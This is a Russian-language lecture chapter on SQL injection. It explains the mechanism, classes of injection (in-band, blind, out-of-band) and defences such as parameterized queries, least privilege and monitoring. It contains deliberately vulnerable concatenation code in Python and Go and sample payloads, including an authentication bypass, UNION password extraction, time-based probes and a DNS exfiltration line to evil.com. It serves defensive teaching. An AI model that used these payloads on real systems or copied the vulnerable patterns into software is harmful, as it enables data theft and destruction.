21. SQL Injection
1. Что такое SQL Injection
В 1950-х годах Джон фон Нейман сформулировал фундаментальный принцип современной вычислительной техники: программы и данные хранятся в одной и той же памяти. Это величайшее инженерное открытие породило всю индустрию программирования, но одновременно заложило первородный грех компьютерной безопасности: процессор не может отличить инструкцию от числа, если они лежат в соседних ячейках памяти.
SQL-инъекция (SQL Injection, SQLi) — это точное повторение этой дилеммы в прикладном слое баз данных.
OWASP определяет SQLi как вставку или «инъекцию» SQL‑запроса через входные данные от клиента к приложению. Классический сценарий развивается по фатальной цепочке:
- Приложение формирует текст SQL-запроса через конкатенацию строк или интерполяцию пользовательского ввода.
- Злоумышленник передает специальным образом сконструированную строку, содержащую служебные метасимволы SQL (кавычки, точки с запятой, символы комментариев, ключевые слова
OR,UNION). - Грамматический парсер СУБД добросовестно разбирает эту строку как единое синтаксическое дерево (AST). Входные данные перестают быть пассивными литералами и превращаются в исполняемые инструкции.
- СУБД выполняет модифицированный запрос с привилегиями приложения, что позволяет:
- Несанкционированно читать, изменять или безвозвратно удалять конфиденциальные данные.
- Полностью обходить механизмы аутентификации и авторизации.
- Выполнять опасные административные и системные команды (например,
shutdown, чтение локальных файлов сервера черезload_file(), вызов системных утилит ядра ОС).
flowchart TD
subgraph Vulnerable["Небезопасный путь (Строковая конкатенация)"]
UserBad["Ввод: admin' --"] --> Concat["query := 'SELECT ... WHERE u=' + user"]
Concat --> RawSQL["SELECT ... WHERE u = 'admin' --' ..."]
RawSQL --> Lexer["Лексический парсер СУБД"]
Lexer --> BrokenAST["Искаженное AST: Условие пароля отброшено в комментарий!"]
BrokenAST --> ExecBad["Несанкционированный вход под admin"]
end
subgraph Secure["Безопасный путь (Prepared Statement)"]
UserGood["Ввод: admin' --"] --> Driver["Драйвер Go (database/sql / pgx)"]
SQLTemplate["SELECT ... WHERE u = $1 AND p = $2"] --> Parser["Парсер СУБД: компиляция чистого AST"]
Parser --> FixedPlan["Зафиксированный план выполнения (Execution Plan)"]
Driver -->|"Бинарный протокол (Bind)"| BindParam["Параметр $1 = 'admin\' --' (Литерал)"]
BindParam --> FixedPlan
FixedPlan --> ExecGood["Честный поиск пользователя с именем 'admin\' --'"]
end
classDef vuln fill:#1e293b,stroke:#f43f5e,stroke-width:1px,color:#f8fafc;
classDef sec fill:#1e293b,stroke:#34d399,stroke-width:1px,color:#f8fafc;
class Vulnerable,UserBad,Concat,RawSQL,Lexer,BrokenAST,ExecBad vuln;
class Secure,UserGood,Driver,SQLTemplate,Parser,FixedPlan,BindParam,ExecGood sec;
2. Типичные сценарии и примеры
2.1. Простая инъекция в авторизации
Рассмотрим классический пример опасного кода, написанного без использования параметризации:
# небезопасно
login = request.POST['login']
password = request.POST['password']
query = "SELECT * FROM users WHERE login = '" + login + "' AND password = '" + password + "'"
В Go аналогичная смертельная ошибка выглядит как безобидный вызов fmt.Sprintf:
// ❌ Смертельно опасно в Go:
query := fmt.Sprintf("SELECT * FROM users WHERE login = '%s' AND password = '%s'", login, password)
rows, err := db.QueryContext(ctx, query)
Если злоумышленник передает входные данные:
login = "admin' --"password = "anything"
Результирующий текст запроса, поступающий в парсер СУБД, принимает вид:
SELECT * FROM users
WHERE login = 'admin' --' AND password = 'anything'
Символы -- в стандарте SQL означают начало однострочного комментария. Все последующие токены запроса, включая проверку пароля, отбрасываются лексическим анализатором! СУБД выполняет выборку первой строки, где login = 'admin', проверка пароля полностью отключается, и злоумышленник входит в систему с правами администратора.
2.2. Извлечение данных через UNION
Оператор UNION позволяет объединить результаты двух независимых запросов SELECT в единый результирующий набор данных:
SELECT id, title FROM articles WHERE id = '1'
UNION SELECT id, password FROM users --
Если уязвимый HTTP-эндпоинт выводит на экран заголовок статьи, атакующий получает возможность поэтапно вытащить хэши паролей, персональные данные (PII) и номера платежных карт из любой системной или прикладной таблицы базы данных, к которой у пользователя СУБД есть доступ на чтение.
2.3. Изменение данных
Инъекции в операторах модификации (UPDATE, DELETE) приводят к необратимому искажению или разрушению целостности данных:
UPDATE users SET email = 'hacker@evil.com'
WHERE id = 1; --
При успешной инъекции в запрос с возможностью выполнения нескольких операторов (Stacked Queries) атакующий может:
- менять балансы счетов, роли и административные флаги пользователей;
- удалять ключевые таблицы (
DROP TABLE users); - создавать новых пользователей с правами суперпользователя и т.п.
3. Виды SQL‑инъекций
В классификации безопасности выделяют три основных семейства SQL-инъекций, различающихся способом извлечения данных из атакуемой системы:
3.1. Классические (in-band)
Входные данные инъекции и извлеченные данные передаются по одному и тому же сетевому каналу (HTTP-ответ веб-сервера):
- Error-based — ошибки СУБД выводятся пользователю, и по их тексту злоумышленник подбирает структуру запроса. Например, принудительный вызов ошибки конвертации типов (
CAST((SELECT secret FROM keys) AS integer)) заставляет сервер базы вернуть секрет прямо в сообщении об ошибке:ERROR: invalid input syntax for integer: "my_secret_token". - UNION-based — атакующий объединяет свой запрос с основным через
UNIONи читает данные непосредственно в теле HTML/JSON-ответа.
3.2. Blind (слепые) инъекции
Прямого вывода данных нет: веб-сервер возвращает стандартную страницу ошибки (например, generic HTTP 500 или 200 OK без деталей), но:
- приложение по‑разному отвечает на
true/falseусловия; - либо меняется время ответа при искусственно вызванных задержках.
OWASP выделяет два ключевых подвида слепых инъекций:
- Boolean-based blind — по разному содержимому страницы можно понять, истинно ли условие. Злоумышленник побитово угадывает символы секретной строки:
AND SUBSTRING(password, 1, 1) = 'a'. Если символ угадан верно, страница загружается штатно («Товар найден»), если нет — возвращается «Товар не найден». - Time-based blind — условие с
SLEEP()/WAITFORи т.п.; по задержке ответа делается вывод об истинности условия. Если первый бит секрета равен 1, СУБД выполняет команду засыпания на 5 секунд (pg_sleep(5)в PostgreSQL,SLEEP(5)в MySQL илиWAITFOR DELAY '0:0:5'в MS SQL). Замеряя сетевое время ответа сервера, атакующий посимвольно эксфильтрует данные со скоростью несколько символов в минуту.
3.3. Out-of-band
Используются внешние каналы: DNS, HTTP‑запросы, почта и т.д., если СУБД может инициировать запросы наружу. Часто применяются, когда прямого вывода нет, а blind‑инъекция слишком медленная. Например, заставляя PostgreSQL или Oracle выполнить резолвинг DNS-имени вида SELECT sys_eval('nslookup ' || password || '.evil.com'), атакующий считывает секретные данные в логах своего собственного DNS-сервера.
4. Почему SQLi до сих пор актуален
Несмотря на то, что природе SQL-инъекций уже более четверти века, они неизменно входят в топ рейтингов уязвимостей (OWASP Top 10):
- Ошибки в коде: конкатенация строк, динамический SQL без параметров в legacy-коде.
- ORM и фреймворки не гарантируют безопасность: в них тоже находят уязвимости и небезопасные паттерны при использовании методов сырых запросов (
db.Raw(),db.Exec()). - Legacy‑код, самописные движки, «быстрые» решения без фреймворков и спешка при разработке стартапов.
- SQLi стабильно входит в топ уязвимостей по OWASP и другим обзорам, оставаясь одним из самых дешевых и разрушительных векторов атак.
5. Основные меры защиты
5.1. Parameterized queries / prepared statements
Главный способ защиты, рекомендуемый OWASP: не строить SQL как строку, а использовать параметры.
Примеры безопасного кода в различных языках и экосистемах:
- Go (
database/sqlиpgx):
// ✅ Безопасно в Go: параметры передаются через бинарный протокол
query := "SELECT id, name, email FROM users WHERE login = $1 AND password_hash = $2"
rows, err := db.QueryContext(ctx, query, login, hash)
- Python (psycopg2 / SQLAlchemy core):
# безопасно
cursor.execute(
"SELECT * FROM users WHERE login = %s AND password = %s",
(login, password)
)
- Java (JDBC):
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE login = ? AND password = ?"
);
stmt.setString(1, login);
stmt.setString(2, password);
- PHP (PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE login = :login AND password = :password');
$stmt->execute(['login' => $login, 'password' => $password]);
СУБД сама экранирует и типизирует параметры, поэтому даже если в login будет ' OR '1'='1, это не изменит логику SQL.
5.2. ORM и Query Builder
Использование ORM (Django ORM, Hibernate, EF Core, GORM в Go и др.) не даёт иммунитета, но:
- существенно уменьшает количество ручного написания SQL-кода;
- снижает вероятность «забыть про параметры».
При этом критически важно:
- категорически избегать raw‑запросов с конкатенацией внутри методов ORM;
- внимательно работать с native SQL, HQL, JPQL и т.п., где возможна инъекция, если подставлять параметры в строку.
5.3. Хранимые процедуры
Хранимые процедуры могут:
- инкапсулировать логику доступа;
- ограничить операции, которые может выполнять приложение.
Но помните:
- процедуры сами по себе не защищают от SQLi, если внутри них есть динамический SQL с конкатенацией (например, вызовы
EXECUTE format('SELECT ... %s', user_input)в PL/pgSQL); - их нужно писать с параметрами, а не формировать SQL как строку.
5.4. Валидация и whitelist входных данных
- Проверять, что формат данных строго соответствует ожидаемому (id — целое число, email — валидный regex, enum — только разрешенные константы).
- Использовать whitelist (разрешённые значения) вместо blacklist.
Валидация — дополнительный слой, а не замена параметризованным запросам.
5.5. Принцип минимальных привилегий (least privilege)
Ограничить учётную запись приложения на уровне сервера СУБД:
- только нужные таблицы и представления (Views);
- только нужные операции (SELECT, INSERT, UPDATE, DELETE, но не DDL-команды
CREATE,DROP,ALTER); - запрет на файловые операции (
COPY FROM PROGRAM,pg_read_file), системные процедуры и доступ к системным каталогам.
Это кардинально уменьшает радиус поражения (blast radius) при успешной инъекции: даже если злоумышленник пробьет код, он не сможет выполнить DROP TABLE или прочитать файлы операционной системы.
5.6. Изоляция и архитектура
- Выносить чувствительные данные в отдельные схемы или независимые физические базы данных (20. Безопасность БД).
- Использовать отдельные учетные записи для разных сервисов и микросервисов.
- Ни при каких обстоятельствах не соединяться с БД под системными пользователями
root,saилиpostgresиз прикладного кода.
6. Defense in depth: уровень архитектуры БД
Эшелонированная оборона (Defense in Depth) предполагает, что защита строится на всех уровнях прохождения пользовательского запроса:
flowchart LR A["User input"] --> B["Web app validation and normalization"] B --> C["ORM query builder or parameterized query"] C --> D["DBMS with least privilege DB user"] D --> E["DB schema: separate tables for sensitive data"] E --> F["Logging and monitoring of SQL errors and anomalies"] classDef flow fill:#1e293b,stroke:#818cf8,stroke-width:1px,color:#f8fafc; class A,B,C,D,E,F flow;
На каждом уровне:
- App level: валидация, whitelist, использование ORM/параметризованных запросов, статический анализ кода (
gosec). - DB user: минимальные права доступа (только DML без DDL).
- Schema: ограничение доступа к критичным данным, шифрование колонок, Row-Level Security.
- Monitoring: логирование аномальных запросов, алерты на типичные паттерны SQLi в
pg_stat_statementsиpgaudit.
7. Типичные ошибки и мифы
-
«Достаточно экранировать кавычки»
Экранирование вручную ненадёжно: есть разные контексты, кодировки, не только кавычки, но и другие спецсимволы. В кодировкеGBKилиBIG5внедрение байта0xbfв сочетании с одинарной кавычкой способно «съесть» экранирующий слэш (байтовое поглощение0xbf5c), превратив безопасную строку в исполняемую инъекцию. OWASP прямо рекомендует не писать собственные «эскейп‑функции» вместо параметров. -
«ORM полностью защищает от SQLi»
Есть CVE и реальные атаки через raw‑запросы, небезопасные HQL/JPQL, динамический SQL внутри фреймворков. Вызовdb.Where(fmt.Sprintf("name = '%s'", name))в популярной Go ORM GORM столь же смертельно уязвим, как и обычный вызов вdatabase/sql. -
«Хранимые процедуры решают проблему»
Если внутри процедуры динамический SQL с конкатенацией, инъекция возможна. Важно: безопасный код внутри, а не просто наличие процедур. -
«Нужно шифровать все данные, чтобы защититься от SQLi»
Шифрование уменьшает последствия утечки, но не защищает от инъекций как таковых. Атакующий может всё равно выполнитьDROP TABLE, изменить данные и т.д.
8. Практические шаги для архитектора и DBA
-
Проверить весь код, использующий динамический SQL:
- поиск конкатенации пользовательского ввода в запросах с помощью линтеров (
gosec -include=G201,G202 ./...); - повсеместная замена на параметризованные запросы или проверенный ORM.
- поиск конкатенации пользовательского ввода в запросах с помощью линтеров (
-
Настроить права доступа:
- отдельный DB‑пользователь для приложения;
- строгий запрет на выполнение
DROP,TRUNCATE,GRANT, системных и файловых функций СУБД.
-
Внедрить мониторинг:
- логировать ошибки СУБД в централизованную систему (Loki / ELK);
- настроить алертинг на аномально частые ошибки синтаксиса и типичные паттерны (
OR 1=1,UNION SELECT,SLEEPи т.д.).
-
Обучить разработчиков:
- документ OWASP Cheat Sheet по SQLi должен быть включен в стандарты внутренней разработки;
- обязательное проведение peer code review с фокусом на конструирование SQL‑запросов.
-
Регулярно тестировать:
- использовать SAST/DAST инструменты в пайплайнах CI/CD;
- проводить регулярное тестирование на проникновение по стандарту OWASP Testing Guide.
Ловушки и вопросы с собеседований
9. Резюме
- SQL Injection — классическая, фундаментальная, но до сих пор массовая архитектурная уязвимость.
- Главная защита: parameterized queries / prepared statements и полный отказ от конкатенации SQL-строк.
- Дополнительные слои обороны: входная валидация, аккуратное использование ORM, хранимые процедуры, принцип минимальных привилегий, изоляция данных и мониторинг.
- Защита должна быть органично заложена в архитектуру приложения и СУБД с самого первого дня, а не добавляться наспех внешними патчами.
Подробное разграничение прав доступа и ролевые модели мы рассмотрим в следующей лекции: 22. RBAC в БД.